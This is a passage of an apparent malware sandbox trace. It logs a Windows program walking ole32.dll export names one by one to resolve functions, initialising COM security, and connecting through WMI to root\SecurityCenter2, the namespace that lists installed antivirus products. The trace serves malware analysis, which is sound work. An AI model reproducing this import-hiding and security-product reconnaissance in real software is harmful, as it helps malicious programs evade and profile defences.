returned="CoGetPSClsid" [0036.087] lstrlenA (lpString="COGETPSCLSID") returned 12 [0036.088] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetProcessIdentifier" | out: lpString1="CoGetProcessIdentifier") returned="CoGetProcessIdentifier" [0036.088] lstrlenA (lpString="COGETPROCESSIDENTIFIER") returned 22 [0036.088] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetStandardMarshal" | out: lpString1="CoGetStandardMarshal") returned="CoGetStandardMarshal" [0036.088] lstrlenA (lpString="COGETSTANDARDMARSHAL") returned 20 [0036.088] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetStdMarshalEx" | out: lpString1="CoGetStdMarshalEx") returned="CoGetStdMarshalEx" [0036.088] lstrlenA (lpString="COGETSTDMARSHALEX") returned 17 [0036.088] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetSystemSecurityPermissions" | out: lpString1="CoGetSystemSecurityPermissions") returned="CoGetSystemSecurityPermissions" [0036.088] lstrlenA (lpString="COGETSYSTEMSECURITYPERMISSIONS") returned 30 [0036.088] lstrcpyA (in: lpString1=0x34e420, lpString2="CoGetTreatAsClass" | out: lpString1="CoGetTreatAsClass") returned="CoGetTreatAsClass" [0036.088] lstrlenA (lpString="COGETTREATASCLASS") returned 17 [0036.088] lstrcpyA (in: lpString1=0x34e420, lpString2="CoImpersonateClient" | out: lpString1="CoImpersonateClient") returned="CoImpersonateClient" [0036.088] lstrlenA (lpString="COIMPERSONATECLIENT") returned 19 [0036.088] lstrcpyA (in: lpString1=0x34e420, lpString2="CoInitialize" | out: lpString1="CoInitialize") returned="CoInitialize" [0036.088] lstrlenA (lpString="COINITIALIZE") returned 12 [0036.088] lstrcpyA (in: lpString1=0x34e420, lpString2="CoInitializeEx" | out: lpString1="CoInitializeEx") returned="CoInitializeEx" [0036.088] lstrlenA (lpString="COINITIALIZEEX") returned 14 [0036.088] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0036.089] lstrlenA (lpString="ole32.dll") returned 9 [0036.089] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x755e0000 [0036.089] lstrcpyA (in: lpString1=0x34e404, lpString2="BindMoniker" | out: lpString1="BindMoniker") returned="BindMoniker" [0036.089] lstrlenA (lpString="BINDMONIKER") returned 11 [0036.089] lstrcpyA (in: lpString1=0x34e404, lpString2="CLIPFORMAT_UserFree" | out: lpString1="CLIPFORMAT_UserFree") returned="CLIPFORMAT_UserFree" [0036.089] lstrlenA (lpString="CLIPFORMAT_USERFREE") returned 19 [0036.089] lstrcpyA (in: lpString1=0x34e404, lpString2="CLIPFORMAT_UserMarshal" | out: lpString1="CLIPFORMAT_UserMarshal") returned="CLIPFORMAT_UserMarshal" [0036.089] lstrlenA (lpString="CLIPFORMAT_USERMARSHAL") returned 22 [0036.089] lstrcpyA (in: lpString1=0x34e404, lpString2="CLIPFORMAT_UserSize" | out: lpString1="CLIPFORMAT_UserSize") returned="CLIPFORMAT_UserSize" [0036.089] lstrlenA (lpString="CLIPFORMAT_USERSIZE") returned 19 [0036.089] lstrcpyA (in: lpString1=0x34e404, lpString2="CLIPFORMAT_UserUnmarshal" | out: lpString1="CLIPFORMAT_UserUnmarshal") returned="CLIPFORMAT_UserUnmarshal" [0036.089] lstrlenA (lpString="CLIPFORMAT_USERUNMARSHAL") returned 24 [0036.089] lstrcpyA (in: lpString1=0x34e404, lpString2="CLSIDFromOle1Class" | out: lpString1="CLSIDFromOle1Class") returned="CLSIDFromOle1Class" [0036.089] lstrlenA (lpString="CLSIDFROMOLE1CLASS") returned 18 [0036.089] lstrcpyA (in: lpString1=0x34e404, lpString2="CLSIDFromProgID" | out: lpString1="CLSIDFromProgID") returned="CLSIDFromProgID" [0036.089] lstrlenA (lpString="CLSIDFROMPROGID") returned 15 [0036.089] lstrcpyA (in: lpString1=0x34e404, lpString2="CLSIDFromProgIDEx" | out: lpString1="CLSIDFromProgIDEx") returned="CLSIDFromProgIDEx" [0036.089] lstrlenA (lpString="CLSIDFROMPROGIDEX") returned 17 [0036.089] lstrcpyA (in: lpString1=0x34e404, lpString2="CLSIDFromString" | out: lpString1="CLSIDFromString") returned="CLSIDFromString" [0036.089] lstrlenA (lpString="CLSIDFROMSTRING") returned 15 [0036.089] lstrcpyA (in: lpString1=0x34e404, lpString2="CoAddRefServerProcess" | out: lpString1="CoAddRefServerProcess") returned="CoAddRefServerProcess" [0036.089] lstrlenA (lpString="COADDREFSERVERPROCESS") returned 21 [0036.089] lstrcpyA (in: lpString1=0x34e404, lpString2="CoAllowSetForegroundWindow" | out: lpString1="CoAllowSetForegroundWindow") returned="CoAllowSetForegroundWindow" [0036.089] lstrlenA (lpString="COALLOWSETFOREGROUNDWINDOW") returned 26 [0036.089] lstrcpyA (in: lpString1=0x34e404, lpString2="CoBuildVersion" | out: lpString1="CoBuildVersion") returned="CoBuildVersion" [0036.089] lstrlenA (lpString="COBUILDVERSION") returned 14 [0036.089] lstrcpyA (in: lpString1=0x34e404, lpString2="CoCancelCall" | out: lpString1="CoCancelCall") returned="CoCancelCall" [0036.090] lstrlenA (lpString="COCANCELCALL") returned 12 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoCopyProxy" | out: lpString1="CoCopyProxy") returned="CoCopyProxy" [0036.090] lstrlenA (lpString="COCOPYPROXY") returned 11 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoCreateFreeThreadedMarshaler" | out: lpString1="CoCreateFreeThreadedMarshaler") returned="CoCreateFreeThreadedMarshaler" [0036.090] lstrlenA (lpString="COCREATEFREETHREADEDMARSHALER") returned 29 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoCreateGuid" | out: lpString1="CoCreateGuid") returned="CoCreateGuid" [0036.090] lstrlenA (lpString="COCREATEGUID") returned 12 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoCreateInstance" | out: lpString1="CoCreateInstance") returned="CoCreateInstance" [0036.090] lstrlenA (lpString="COCREATEINSTANCE") returned 16 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoCreateInstanceEx" | out: lpString1="CoCreateInstanceEx") returned="CoCreateInstanceEx" [0036.090] lstrlenA (lpString="COCREATEINSTANCEEX") returned 18 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoCreateObjectInContext" | out: lpString1="CoCreateObjectInContext") returned="CoCreateObjectInContext" [0036.090] lstrlenA (lpString="COCREATEOBJECTINCONTEXT") returned 23 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoDeactivateObject" | out: lpString1="CoDeactivateObject") returned="CoDeactivateObject" [0036.090] lstrlenA (lpString="CODEACTIVATEOBJECT") returned 18 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoDisableCallCancellation" | out: lpString1="CoDisableCallCancellation") returned="CoDisableCallCancellation" [0036.090] lstrlenA (lpString="CODISABLECALLCANCELLATION") returned 25 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoDisconnectContext" | out: lpString1="CoDisconnectContext") returned="CoDisconnectContext" [0036.090] lstrlenA (lpString="CODISCONNECTCONTEXT") returned 19 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoDisconnectObject" | out: lpString1="CoDisconnectObject") returned="CoDisconnectObject" [0036.090] lstrlenA (lpString="CODISCONNECTOBJECT") returned 18 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoDosDateTimeToFileTime" | out: lpString1="CoDosDateTimeToFileTime") returned="CoDosDateTimeToFileTime" [0036.090] lstrlenA (lpString="CODOSDATETIMETOFILETIME") returned 23 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoEnableCallCancellation" | out: lpString1="CoEnableCallCancellation") returned="CoEnableCallCancellation" [0036.090] lstrlenA (lpString="COENABLECALLCANCELLATION") returned 24 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoFileTimeNow" | out: lpString1="CoFileTimeNow") returned="CoFileTimeNow" [0036.090] lstrlenA (lpString="COFILETIMENOW") returned 13 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoFileTimeToDosDateTime" | out: lpString1="CoFileTimeToDosDateTime") returned="CoFileTimeToDosDateTime" [0036.090] lstrlenA (lpString="COFILETIMETODOSDATETIME") returned 23 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoFreeAllLibraries" | out: lpString1="CoFreeAllLibraries") returned="CoFreeAllLibraries" [0036.090] lstrlenA (lpString="COFREEALLLIBRARIES") returned 18 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoFreeLibrary" | out: lpString1="CoFreeLibrary") returned="CoFreeLibrary" [0036.090] lstrlenA (lpString="COFREELIBRARY") returned 13 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoFreeUnusedLibraries" | out: lpString1="CoFreeUnusedLibraries") returned="CoFreeUnusedLibraries" [0036.090] lstrlenA (lpString="COFREEUNUSEDLIBRARIES") returned 21 [0036.090] lstrcpyA (in: lpString1=0x34e404, lpString2="CoFreeUnusedLibrariesEx" | out: lpString1="CoFreeUnusedLibrariesEx") returned="CoFreeUnusedLibrariesEx" [0036.090] lstrlenA (lpString="COFREEUNUSEDLIBRARIESEX") returned 23 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetActivationState" | out: lpString1="CoGetActivationState") returned="CoGetActivationState" [0036.091] lstrlenA (lpString="COGETACTIVATIONSTATE") returned 20 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetApartmentID" | out: lpString1="CoGetApartmentID") returned="CoGetApartmentID" [0036.091] lstrlenA (lpString="COGETAPARTMENTID") returned 16 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetApartmentType" | out: lpString1="CoGetApartmentType") returned="CoGetApartmentType" [0036.091] lstrlenA (lpString="COGETAPARTMENTTYPE") returned 18 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetCallContext" | out: lpString1="CoGetCallContext") returned="CoGetCallContext" [0036.091] lstrlenA (lpString="COGETCALLCONTEXT") returned 16 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetCallState" | out: lpString1="CoGetCallState") returned="CoGetCallState" [0036.091] lstrlenA (lpString="COGETCALLSTATE") returned 14 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetCallerTID" | out: lpString1="CoGetCallerTID") returned="CoGetCallerTID" [0036.091] lstrlenA (lpString="COGETCALLERTID") returned 14 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetCancelObject" | out: lpString1="CoGetCancelObject") returned="CoGetCancelObject" [0036.091] lstrlenA (lpString="COGETCANCELOBJECT") returned 17 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetClassObject" | out: lpString1="CoGetClassObject") returned="CoGetClassObject" [0036.091] lstrlenA (lpString="COGETCLASSOBJECT") returned 16 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetClassVersion" | out: lpString1="CoGetClassVersion") returned="CoGetClassVersion" [0036.091] lstrlenA (lpString="COGETCLASSVERSION") returned 17 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetComCatalog" | out: lpString1="CoGetComCatalog") returned="CoGetComCatalog" [0036.091] lstrlenA (lpString="COGETCOMCATALOG") returned 15 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetContextToken" | out: lpString1="CoGetContextToken") returned="CoGetContextToken" [0036.091] lstrlenA (lpString="COGETCONTEXTTOKEN") returned 17 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetCurrentLogicalThreadId" | out: lpString1="CoGetCurrentLogicalThreadId") returned="CoGetCurrentLogicalThreadId" [0036.091] lstrlenA (lpString="COGETCURRENTLOGICALTHREADID") returned 27 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetCurrentProcess" | out: lpString1="CoGetCurrentProcess") returned="CoGetCurrentProcess" [0036.091] lstrlenA (lpString="COGETCURRENTPROCESS") returned 19 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetDefaultContext" | out: lpString1="CoGetDefaultContext") returned="CoGetDefaultContext" [0036.091] lstrlenA (lpString="COGETDEFAULTCONTEXT") returned 19 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetInstanceFromFile" | out: lpString1="CoGetInstanceFromFile") returned="CoGetInstanceFromFile" [0036.091] lstrlenA (lpString="COGETINSTANCEFROMFILE") returned 21 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetInstanceFromIStorage" | out: lpString1="CoGetInstanceFromIStorage") returned="CoGetInstanceFromIStorage" [0036.091] lstrlenA (lpString="COGETINSTANCEFROMISTORAGE") returned 25 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetInterceptor" | out: lpString1="CoGetInterceptor") returned="CoGetInterceptor" [0036.091] lstrlenA (lpString="COGETINTERCEPTOR") returned 16 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetInterceptorFromTypeInfo" | out: lpString1="CoGetInterceptorFromTypeInfo") returned="CoGetInterceptorFromTypeInfo" [0036.091] lstrlenA (lpString="COGETINTERCEPTORFROMTYPEINFO") returned 28 [0036.091] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetInterfaceAndReleaseStream" | out: lpString1="CoGetInterfaceAndReleaseStream") returned="CoGetInterfaceAndReleaseStream" [0036.091] lstrlenA (lpString="COGETINTERFACEANDRELEASESTREAM") returned 30 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetMalloc" | out: lpString1="CoGetMalloc") returned="CoGetMalloc" [0036.092] lstrlenA (lpString="COGETMALLOC") returned 11 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetMarshalSizeMax" | out: lpString1="CoGetMarshalSizeMax") returned="CoGetMarshalSizeMax" [0036.092] lstrlenA (lpString="COGETMARSHALSIZEMAX") returned 19 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetModuleType" | out: lpString1="CoGetModuleType") returned="CoGetModuleType" [0036.092] lstrlenA (lpString="COGETMODULETYPE") returned 15 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetObject" | out: lpString1="CoGetObject") returned="CoGetObject" [0036.092] lstrlenA (lpString="COGETOBJECT") returned 11 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetObjectContext" | out: lpString1="CoGetObjectContext") returned="CoGetObjectContext" [0036.092] lstrlenA (lpString="COGETOBJECTCONTEXT") returned 18 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetPSClsid" | out: lpString1="CoGetPSClsid") returned="CoGetPSClsid" [0036.092] lstrlenA (lpString="COGETPSCLSID") returned 12 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetProcessIdentifier" | out: lpString1="CoGetProcessIdentifier") returned="CoGetProcessIdentifier" [0036.092] lstrlenA (lpString="COGETPROCESSIDENTIFIER") returned 22 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetStandardMarshal" | out: lpString1="CoGetStandardMarshal") returned="CoGetStandardMarshal" [0036.092] lstrlenA (lpString="COGETSTANDARDMARSHAL") returned 20 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetStdMarshalEx" | out: lpString1="CoGetStdMarshalEx") returned="CoGetStdMarshalEx" [0036.092] lstrlenA (lpString="COGETSTDMARSHALEX") returned 17 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetSystemSecurityPermissions" | out: lpString1="CoGetSystemSecurityPermissions") returned="CoGetSystemSecurityPermissions" [0036.092] lstrlenA (lpString="COGETSYSTEMSECURITYPERMISSIONS") returned 30 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoGetTreatAsClass" | out: lpString1="CoGetTreatAsClass") returned="CoGetTreatAsClass" [0036.092] lstrlenA (lpString="COGETTREATASCLASS") returned 17 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoImpersonateClient" | out: lpString1="CoImpersonateClient") returned="CoImpersonateClient" [0036.092] lstrlenA (lpString="COIMPERSONATECLIENT") returned 19 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoInitialize" | out: lpString1="CoInitialize") returned="CoInitialize" [0036.092] lstrlenA (lpString="COINITIALIZE") returned 12 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoInitializeEx" | out: lpString1="CoInitializeEx") returned="CoInitializeEx" [0036.092] lstrlenA (lpString="COINITIALIZEEX") returned 14 [0036.092] lstrcpyA (in: lpString1=0x34e404, lpString2="CoInitializeSecurity" | out: lpString1="CoInitializeSecurity") returned="CoInitializeSecurity" [0036.092] lstrlenA (lpString="COINITIALIZESECURITY") returned 20 [0036.092] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0036.098] lstrlenA (lpString="ole32.dll") returned 9 [0036.098] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x755e0000 [0036.098] lstrcpyA (in: lpString1=0x34e414, lpString2="BindMoniker" | out: lpString1="BindMoniker") returned="BindMoniker" [0036.098] lstrlenA (lpString="BINDMONIKER") returned 11 [0036.098] lstrcpyA (in: lpString1=0x34e414, lpString2="CLIPFORMAT_UserFree" | out: lpString1="CLIPFORMAT_UserFree") returned="CLIPFORMAT_UserFree" [0036.098] lstrlenA (lpString="CLIPFORMAT_USERFREE") returned 19 [0036.098] lstrcpyA (in: lpString1=0x34e414, lpString2="CLIPFORMAT_UserMarshal" | out: lpString1="CLIPFORMAT_UserMarshal") returned="CLIPFORMAT_UserMarshal" [0036.098] lstrlenA (lpString="CLIPFORMAT_USERMARSHAL") returned 22 [0036.098] lstrcpyA (in: lpString1=0x34e414, lpString2="CLIPFORMAT_UserSize" | out: lpString1="CLIPFORMAT_UserSize") returned="CLIPFORMAT_UserSize" [0036.098] lstrlenA (lpString="CLIPFORMAT_USERSIZE") returned 19 [0036.098] lstrcpyA (in: lpString1=0x34e414, lpString2="CLIPFORMAT_UserUnmarshal" | out: lpString1="CLIPFORMAT_UserUnmarshal") returned="CLIPFORMAT_UserUnmarshal" [0036.098] lstrlenA (lpString="CLIPFORMAT_USERUNMARSHAL") returned 24 [0036.098] lstrcpyA (in: lpString1=0x34e414, lpString2="CLSIDFromOle1Class" | out: lpString1="CLSIDFromOle1Class") returned="CLSIDFromOle1Class" [0036.098] lstrlenA (lpString="CLSIDFROMOLE1CLASS") returned 18 [0036.098] lstrcpyA (in: lpString1=0x34e414, lpString2="CLSIDFromProgID" | out: lpString1="CLSIDFromProgID") returned="CLSIDFromProgID" [0036.099] lstrlenA (lpString="CLSIDFROMPROGID") returned 15 [0036.099] lstrcpyA (in: lpString1=0x34e414, lpString2="CLSIDFromProgIDEx" | out: lpString1="CLSIDFromProgIDEx") returned="CLSIDFromProgIDEx" [0036.099] lstrlenA (lpString="CLSIDFROMPROGIDEX") returned 17 [0036.099] lstrcpyA (in: lpString1=0x34e414, lpString2="CLSIDFromString" | out: lpString1="CLSIDFromString") returned="CLSIDFromString" [0036.099] lstrlenA (lpString="CLSIDFROMSTRING") returned 15 [0036.099] lstrcpyA (in: lpString1=0x34e414, lpString2="CoAddRefServerProcess" | out: lpString1="CoAddRefServerProcess") returned="CoAddRefServerProcess" [0036.099] lstrlenA (lpString="COADDREFSERVERPROCESS") returned 21 [0036.099] lstrcpyA (in: lpString1=0x34e414, lpString2="CoAllowSetForegroundWindow" | out: lpString1="CoAllowSetForegroundWindow") returned="CoAllowSetForegroundWindow" [0036.099] lstrlenA (lpString="COALLOWSETFOREGROUNDWINDOW") returned 26 [0036.099] lstrcpyA (in: lpString1=0x34e414, lpString2="CoBuildVersion" | out: lpString1="CoBuildVersion") returned="CoBuildVersion" [0036.099] lstrlenA (lpString="COBUILDVERSION") returned 14 [0036.099] lstrcpyA (in: lpString1=0x34e414, lpString2="CoCancelCall" | out: lpString1="CoCancelCall") returned="CoCancelCall" [0036.099] lstrlenA (lpString="COCANCELCALL") returned 12 [0036.099] lstrcpyA (in: lpString1=0x34e414, lpString2="CoCopyProxy" | out: lpString1="CoCopyProxy") returned="CoCopyProxy" [0036.099] lstrlenA (lpString="COCOPYPROXY") returned 11 [0036.099] lstrcpyA (in: lpString1=0x34e414, lpString2="CoCreateFreeThreadedMarshaler" | out: lpString1="CoCreateFreeThreadedMarshaler") returned="CoCreateFreeThreadedMarshaler" [0036.099] lstrlenA (lpString="COCREATEFREETHREADEDMARSHALER") returned 29 [0036.099] lstrcpyA (in: lpString1=0x34e414, lpString2="CoCreateGuid" | out: lpString1="CoCreateGuid") returned="CoCreateGuid" [0036.099] lstrlenA (lpString="COCREATEGUID") returned 12 [0036.099] lstrcpyA (in: lpString1=0x34e414, lpString2="CoCreateInstance" | out: lpString1="CoCreateInstance") returned="CoCreateInstance" [0036.099] lstrlenA (lpString="COCREATEINSTANCE") returned 16 [0036.099] CoCreateInstance (in: rclsid=0x447ae4*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x447af4*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x110004 | out: ppv=0x110004*=0x1fb0828) returned 0x0 [0036.564] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1fb0828, strNetworkResource="root\\SecurityCenter2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x110008 | out: ppNamespace=0x110008*=0x1fbcfe4) returned 0x0 [0040.762] lstrlenA (lpString="ole32.dll") returned 9 [0040.762] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x755e0000 [0040.762] lstrcpyA (in: lpString1=0x34e408, lpString2="BindMoniker" | out: lpString1="BindMoniker") returned="BindMoniker" [0040.762] lstrlenA (lpString="BINDMONIKER") returned 11 [0040.762] lstrcpyA (in: lpString1=0x34e408, lpString2="CLIPFORMAT_UserFree" | out: lpString1="CLIPFORMAT_UserFree") returned="CLIPFORMAT_UserFree" [0040.762] lstrlenA (lpString="CLIPFORMAT_USERFREE") returned 19 [0040.762] lstrcpyA (in: lpString1=0x34e408, lpString2="CLIPFORMAT_UserMarshal" | out: lpString1="CLIPFORMAT_UserMarshal") returned="CLIPFORMAT_UserMarshal" [0040.762] lstrlenA (lpString="CLIPFORMAT_USERMARSHAL") returned 22 [0040.762] lstrcpyA (in: lpString1=0x34e408, lpString2="CLIPFORMAT_UserSize" | out: lpString1="CLIPFORMAT_UserSize") returned="CLIPFORMAT_UserSize" [0040.763] lstrlenA (lpString="CLIPFORMAT_USERSIZE") returned 19 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CLIPFORMAT_UserUnmarshal" | out: lpString1="CLIPFORMAT_UserUnmarshal") returned="CLIPFORMAT_UserUnmarshal" [0040.763] lstrlenA (lpString="CLIPFORMAT_USERUNMARSHAL") returned 24 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CLSIDFromOle1Class" | out: lpString1="CLSIDFromOle1Class") returned="CLSIDFromOle1Class" [0040.763] lstrlenA (lpString="CLSIDFROMOLE1CLASS") returned 18 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CLSIDFromProgID" | out: lpString1="CLSIDFromProgID") returned="CLSIDFromProgID" [0040.763] lstrlenA (lpString="CLSIDFROMPROGID") returned 15 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CLSIDFromProgIDEx" | out: lpString1="CLSIDFromProgIDEx") returned="CLSIDFromProgIDEx" [0040.763] lstrlenA (lpString="CLSIDFROMPROGIDEX") returned 17 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CLSIDFromString" | out: lpString1="CLSIDFromString") returned="CLSIDFromString" [0040.763] lstrlenA (lpString="CLSIDFROMSTRING") returned 15 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CoAddRefServerProcess" | out: lpString1="CoAddRefServerProcess") returned="CoAddRefServerProcess" [0040.763] lstrlenA (lpString="COADDREFSERVERPROCESS") returned 21 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CoAllowSetForegroundWindow" | out: lpString1="CoAllowSetForegroundWindow") returned="CoAllowSetForegroundWindow" [0040.763] lstrlenA (lpString="COALLOWSETFOREGROUNDWINDOW") returned 26 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CoBuildVersion" | out: lpString1="CoBuildVersion") returned="CoBuildVersion" [0040.763] lstrlenA (lpString="COBUILDVERSION") returned 14 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CoCancelCall" | out: lpString1="CoCancelCall") returned="CoCancelCall" [0040.763] lstrlenA (lpString="COCANCELCALL") returned 12 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CoCopyProxy" | out: lpString1="CoCopyProxy") returned="CoCopyProxy" [0040.763] lstrlenA (lpString="COCOPYPROXY") returned 11 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CoCreateFreeThreadedMarshaler" | out: lpString1="CoCreateFreeThreadedMarshaler") returned="CoCreateFreeThreadedMarshaler" [0040.763] lstrlenA (lpString="COCREATEFREETHREADEDMARSHALER") returned 29 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CoCreateGuid" | out: lpString1="CoCreateGuid") returned="CoCreateGuid" [0040.763] lstrlenA (lpString="COCREATEGUID") returned 12 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CoCreateInstance" | out: lpString1="CoCreateInstance") returned="CoCreateInstance" [0040.763] lstrlenA (lpString="COCREATEINSTANCE") returned 16 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CoCreateInstanceEx" | out: lpString1="CoCreateInstanceEx") returned="CoCreateInstanceEx" [0040.763] lstrlenA (lpString="COCREATEINSTANCEEX") returned 18 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CoCreateObjectInContext" | out: lpString1="CoCreateObjectInContext") returned="CoCreateObjectInContext" [0040.763] lstrlenA (lpString="COCREATEOBJECTINCONTEXT") returned 23 [0040.763] lstrcpyA (in: lpString1=0x34e408, lpString2="CoDeactivateObject" | out: lpString1="CoDeactivateObject") returned="CoDeactivateObject" [0040.764] lstrlenA (lpString="CODEACTIVATEOBJECT") returned 18 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoDisableCallCancellation" | out: lpString1="CoDisableCallCancellation") returned="CoDisableCallCancellation" [0040.764] lstrlenA (lpString="CODISABLECALLCANCELLATION") returned 25 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoDisconnectContext" | out: lpString1="CoDisconnectContext") returned="CoDisconnectContext" [0040.764] lstrlenA (lpString="CODISCONNECTCONTEXT") returned 19 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoDisconnectObject" | out: lpString1="CoDisconnectObject") returned="CoDisconnectObject" [0040.764] lstrlenA (lpString="CODISCONNECTOBJECT") returned 18 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoDosDateTimeToFileTime" | out: lpString1="CoDosDateTimeToFileTime") returned="CoDosDateTimeToFileTime" [0040.764] lstrlenA (lpString="CODOSDATETIMETOFILETIME") returned 23 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoEnableCallCancellation" | out: lpString1="CoEnableCallCancellation") returned="CoEnableCallCancellation" [0040.764] lstrlenA (lpString="COENABLECALLCANCELLATION") returned 24 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoFileTimeNow" | out: lpString1="CoFileTimeNow") returned="CoFileTimeNow" [0040.764] lstrlenA (lpString="COFILETIMENOW") returned 13 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoFileTimeToDosDateTime" | out: lpString1="CoFileTimeToDosDateTime") returned="CoFileTimeToDosDateTime" [0040.764] lstrlenA (lpString="COFILETIMETODOSDATETIME") returned 23 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoFreeAllLibraries" | out: lpString1="CoFreeAllLibraries") returned="CoFreeAllLibraries" [0040.764] lstrlenA (lpString="COFREEALLLIBRARIES") returned 18 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoFreeLibrary" | out: lpString1="CoFreeLibrary") returned="CoFreeLibrary" [0040.764] lstrlenA (lpString="COFREELIBRARY") returned 13 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoFreeUnusedLibraries" | out: lpString1="CoFreeUnusedLibraries") returned="CoFreeUnusedLibraries" [0040.764] lstrlenA (lpString="COFREEUNUSEDLIBRARIES") returned 21 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoFreeUnusedLibrariesEx" | out: lpString1="CoFreeUnusedLibrariesEx") returned="CoFreeUnusedLibrariesEx" [0040.764] lstrlenA (lpString="COFREEUNUSEDLIBRARIESEX") returned 23 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetActivationState" | out: lpString1="CoGetActivationState") returned="CoGetActivationState" [0040.764] lstrlenA (lpString="COGETACTIVATIONSTATE") returned 20 [0040.764] lstrcpyA (in: lpString1=0x34e408, lpString2="CoGetApartmentID" | out: 